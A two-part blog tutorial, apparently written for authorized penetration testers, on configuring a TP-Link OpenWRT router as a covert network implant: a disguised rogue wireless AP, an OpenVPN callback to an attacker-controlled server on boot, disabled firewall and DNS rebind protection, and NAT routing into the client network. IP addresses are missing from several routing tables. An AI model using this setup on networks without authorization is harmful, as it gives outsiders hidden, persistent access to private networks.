PLUG and PWN: No-tech to Low-tech Hacking, Part Two

By Hao Nguyen ·

Continuing with the first part of this post, we’ll take a look at another device to drop onto a client’s network during a successful social engineering engagement once physical access is obtained. TP-Link makes several portable routers that are compatible with OpenWRT. They are pretty small and can be hidden onsite at a client facility. Unlike the PwnPlug in the previous post, we won’t install any security tools on the router itself; instead we’ll configure it as a backdoor gateway to NAT all our traffic into the client’s internal network remotely.

For security tools on the router itself, the MiniPwner project is great and also uses OpenWRT. You can either buy a pre-made MiniPwner or build one yourself. We’ll focus on setting up the router on a new install of OpenWRT, but this guide can also be applied to a MiniPwner as well.

However, there are two caveats in using this device on a client’s network: no network access control (NAC) is in place so that devices can obtain an IP address via DHCP, and outbound connections are not handled by a proxy. This configuration does not bypass NAC or an outbound proxy.

Installing OpenWRT and Necessary Packages

The TL-MR3020 model goes for about $35 on Amazon. The OpenWRT documentation for this device can be found here: Once installed, (when you set the root password, telnet will be disabled and SSH will be up instead), connect the router to your network and run the following command to install OpenVPN:

opkg install openvpn

And that’s it; no other packages are needed.


Now that OpenWRT is installed, we can configure it as a wireless AP for parking lot access, as an OpenVPN client for remote access, or both:

  • Wireless Access Point – provide internal network access without physically being inside the client’s facility
  • OpenVPN Client – connect to a server we control to provide a remote backdoor
    • Gateway and DNS server – route traffic to the client’s internal network and perform DNS queries for other OpenVPN clients

Bridged Wireless AP

We’ll configure the router to be a bridge AP so it can be an extension of the client’s LAN. In effect, by connecting to the TP-Link’s wireless network, you’ll be assigned an IP address as if you had plugged into a network jack. Configure the LAN interface in the /etc/config/network file to support DHCP and bridging. The relevant section should look like this:

config interface 'lan'

         option ifname 'eth0'

         option proto 'dhcp'

         option type 'bridge'

This will create a br-lan interface, which will have the dynamically assigned IP address to it once it is connected to the internal client network. To bridge the wireless to the LAN interface, change the /etc/config/wireless file; the relevant section is:

config wifi-iface

     option device   wlan0

     option network lan

     option mode ap

     option ssid     SSID

     option encryption   psk2

     option key ‘<passphrase>’

Change the option network to lan and use WPA2–PSK by adding an encryption and key option. The PSK should be surrounded by single quotes. Additionally, name the SSID to whatever you like, ideally something that could go unnoticed on a client site. I use something like the ad-hoc networks used by devices such as printers and projectors (e.g., hpsetup, AMX).  

Callback – OpenVPN Option

Configuring OpenVPN will be very similar to how it was set up for the PwnPlug as described in Part One of the blog post. Again, the OpenVPN documentation can be found online here:

Generate your certificates and make sure that the date is valid for the OpenVPN server. Copy over the server ca.crt and the crt and key files for the client into an openvpn directory. I typically create one in /etc. Make sure the openvpn directory and certs are set to the proper permissions. /etc/openvpn should be owned by root, and the certs should have permissions of 400.

I’ve configured my OpenVPN server to use layer 2, bridge mode with a tap interface. I also use my OpenVPN implementation when I’m away from home so I can access my home network and also route all my traffic through OpenVPN. As such, it is configured to redirect the default gateway and update my /etc/resolv.conf file upon connection. The easiest way I’ve found to configure a client to use OpenVPN this way is via the gnome network manager, if you’re using Ubuntu. However, this won’t be the case for the OpenWRT router. Add the following command to /etc/rc.local to have openvpn connect on startup:

/opt/usr/sbin/openvpn --remote <OpenVPN SERVER> --remote-cert-tls server --ns-cert-type server --comp-lzo --nobind --dev tap --proto tcp-client --port <PORT> --cipher <CIPHER> --auth <HASH> --auth-nocache --script-security 2 --route-noexec --up-restart --persist-key --persist-tun --pull --ping-restart 10 --client --ca /etc/openvpn/ca.crt --cert /etc/openvpn/<CLIENT>.crt --key /etc/openvpn/<CLIENT>.key & - See more at:

Note the “--route-noexec” option, which prevents the default gateway from being changed. Fill in the rest of the command in accordance with how you configured your OpenVPN server. Lastly, add an entry for the tap0 interface into the /etc/config/network file:

config interface 'vpn'

         option ifname 'tap0'

         option proto 'none'

Gateway and DNS Server

Now that the OpenWRT router is connecting back to your OpenVPN server, we want to configure it to use it as a backdoor into the client’s internal network. We’ll also connect to our OpenVPN server with our attacking laptop and use the OpenWRT router as a gateway into the client network and also as a DNS server to perform queries local to the client network.

Enable dnsmasq with the following command:

/etc/init.d/dnsmasq enable

Update /etc/config/dhcp, the relevant section is:

config dnsmasq

     option domainneeded     0

     option boguspriv        0

     option filterwin2k      0  # enable for dial on demand

     option localise_queries 1

     option rebind_protection 0   # disable if upstream must serve RFC1918 addresses

     option rebind_localhost 1  # enable for RBL checking and similar services

     option expandhosts      1

     option nonegcache       0

     option authoritative    0

     option readethers       1

     option leasefile        '/tmp/dhcp.leases'

     option resolvfile       '/tmp/'

The options you want to set to 0 are:

  • domainneeded
  • boguspriv
  • rebind_protection
  • authoritative

“Domainneeded” to 0 will allow you to resolve hostnames without the domain – for example: windowsserver instead of “Boguspriv” to 0 will allow reverse lookups to private IP ranges that do not have a corresponding entry in /etc/hosts. “Rebind_protection” to 0 allows a request to go upstream if the DNS server can’t resolve it. This will be the main setting to allow the OpenWRT router to pass local DNS queries to the client’s DNS server. Lastly, “authoritative” as 0 should be self-explanatory, since the OpenWRT router is not the only DNS server on the network. More information about these settings can be found at:

IP forwarding should already be enabled by default, but check the /etc/sysctl.conf file to ensure that the following option is set:


To check if IP forwarding is enabled when the router is up, run the following command:

     sysctl net.ipv4.ip_forward

We don’t really need a firewall running, so disable with:

     /etc/init.d/firewall disable

Lastly, we want to add a postrouting rule so that traffic coming from the tap0 interface is routed to the br-lan interface and the client internal network. Add the following command to /etc/rc.local after the openvpn command:

     iptables -t nat -A POSTROUTING -o br-lan -j MASQUERADE

You can verify that this rule has been implemented once the router is up by running the command:

     iptables –L –t nat

You should see the following output:


target     prot opt source               destination        

Chain INPUT (policy ACCEPT)

target     prot opt source               destination        

Chain OUTPUT (policy ACCEPT)

target     prot opt source               destination        


target     prot opt source               destination        

MASQUERADE  all  --  anywhere             anywhere 

The routing table for the OpenWRT router should look something like this after it is up and connected to OpenVPN:

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface
default UG 0 0 0 br-lan * U 0 0 0 tap0 * U 0 0 0 br-lan


The route has been added for the tap0 OpenVPN interface. The router itself is on the client’s network. The default gateway has not changed due to the use of the “--route-noexec” option.

Connect to the same OpenVPN server on your attacking laptop. The routing table should look something like this before connecting to your VPN:

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface
default UG 0 0 0 wlan0
link-local * U 1000 0 0 wlan0 * U 2 0 0 wlan0


In this example, I’m on a network with as my default gateway.

Once connected to the VPN, the routes are updated accordingly (I’ve removed the public IP that my OpenVPN server is listening on):

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface
default UG 0 0 0 tap0 * U 0 0 00 tap0
<PUBLIC-IP> UGH 0 0 0 wlan0
link-local * U 1000 0 0 wlan0 * U 2 0 0 wlan0


The tap0 interface has been added and the default route is updated to be the router of my home network ( The previous default gw ( has been updated to be the gateway for the public IP address that my OpenVPN server is on. Remove the current default gateway and update it with the IP address of the OpenWRT router; in this case,

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface
default UG 0 0 0 tap0 * U 0 0 00 tap0
<PUBLIC-IP> UGH 0 0 0 wlan0
link-local * U 1000 0 0 wlan0 * U 2 0 0 wlan0


Lastly, add the OpenWRT router as a nameserver in your /etc/resolv.conf file:


Now you can reach the client’s internal network; the traffic will be NAT’ed behind the OpenWRT router. Because SSH will be running on the OpenWRT router, you can use SSH tunnels to forward ports if you need a system on the client’s network to reach your attacking laptop.

Back to Part 1